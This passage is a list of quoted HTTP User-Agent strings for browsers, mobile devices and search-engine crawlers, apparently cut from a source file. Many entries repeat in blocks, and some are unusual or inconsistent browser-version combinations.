'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
'Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A',
'Mozilla/5.0 (PLAYSTATION 3; 3.55)', 'Mozilla/5.0 (PLAYSTATION 3; 2.00)',
'Mozilla/5.0 (PLAYSTATION 3; 1.00)',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0',
'Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)',
'SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
